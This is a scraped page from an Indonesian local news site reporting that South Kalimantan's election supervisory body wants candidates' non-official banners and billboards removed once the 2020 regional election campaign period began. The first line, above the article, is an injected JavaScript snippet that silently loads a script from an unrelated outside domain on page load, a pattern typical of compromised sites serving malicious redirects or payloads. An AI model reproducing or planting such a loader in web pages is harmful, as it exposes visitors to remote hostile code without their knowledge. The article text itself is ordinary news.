(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ada Paslon ‘Nyuri’ Sosialisasi di Spanduk dan Baliho, Bawaslu Minta Segera Dilepas


KANALKALIMANTAN.COM, BANJARMASIN – Temuan spanduk maupun baliho pasangan calon (paslon) kontestan Pilkada Kalsel menjadi sorotan Badan Pengawas Pemilu (Bawaslu) Kalsel.

Koordinator Divisi Hukum, Humas dan Hubal Bawaslu Provinsi Kalsel, Nur Kholis Majid mengatakan, spanduk maupun baliho hal tersebut bukan termasuk dalam kategori alat peraga kampanye (APK) yang dimaksud dalam Peraturan KPU.

Dalam waktu dekat pihaknya akan melakukan tindakan konkrit bersama Komisi Pemilihan Umum (KPU) Provinsi Kalsel menginventarisir alat sosialisasi paslon tersebut.

“Nanti kita koordinasikan dengan KPU untuk menghitung seluruh alat sosialisasi paslon itu,” kata Majid, Senin (28/9/2020) siang.

Ia menegaskan bahwa keberadaan alat sosialisasi paslon itu seharusnya sudah tidak boleh ada lagi. Hal ini dikarenakan, saat ini sudah memasuki tahapan kampanye.

“Ini sudah masuk rezim kampanye, jadi alat sosialisasi paslon harus dibersihkan,” tambah Majid.

Salah satu spanduk calon kepala daerah yang disebut Bawaslu Kalsel bukan alat peraga kampanye (APK) yang harus diturunkan segera. foto: fikri

Mantan Komisioner KPU Provinsi Kalsel ini menjelaskan, pihaknya akan merekomendasikan KPU Provinsi yang akan ditindaklanjuti dengan mengintruksikan hal tersebut kepada masing-masing tim pemenangan paslon.

Selain itu, Bawaslu juga sudah membuat surat himbauan kepada masing-masing pemerintah daerah di tingkat kabupaten/kota terkait keberadaan alat sosialisasi paslon maupun spanduk atau atau baliho yang masih menampilkan calon petahana.

“Pemerintah daerah memiliki kewajiban untuk menurunkan atau membersihkan atribut tersebut. Seharusnya tim maupun pemerintah daerah bisa memperhatikan tahapan Pilkada yang sudah ditetapkan oleh KPU,” jelasnya.

Ia menekankan, atribut yang boleh beredar adalah APK yang dikeluarkan resmi oleh KPU dan APK milik paslon sebanyak 200% dari jumlah yang sudah ditentukan KPU Provinsi Kalsel.

“Jika masih melanggar maka terpaksa akan dikenakan sanksi administratif tentang mekanisme pemasangan alat peraga kampanye,” tandasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Dialog #2 Basakalimantan Wiki: Rumuskan Ide Anak Muda Kurangi Sampah Plastik Jadi Isu Kebijakan

KANALKALIMANTAN.COM, BANJARBARU - Basakalimantan Wiki kembali hadir dengan kegiatan Dialog #2 “Diskusi Kebijakan Publik Isu… Read More

1 jam ago

KPK Pasang 8 JPU Perkara Korupsi Dinas PUPR Kalsel

Majelis Hakim Dipegang Salah Satu Pimpinan PN Banjarmasin Read More

1 jam ago

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya

Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More

16 jam ago

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

17 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

22 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

22 jam ago

This website uses cookies.